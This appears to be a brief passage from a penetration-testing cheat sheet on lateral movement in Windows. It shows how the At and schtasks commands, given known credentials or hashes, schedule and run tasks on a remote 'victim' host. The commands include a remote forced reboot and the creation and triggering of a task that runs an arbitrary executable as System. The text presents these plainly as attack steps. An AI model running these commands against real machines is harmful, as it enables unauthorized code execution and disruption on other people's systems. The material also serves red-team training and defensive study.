At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output.
At \\victim 11:00:00PM shutdown -r
Using schtasks you need first to create the task and then call it:
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>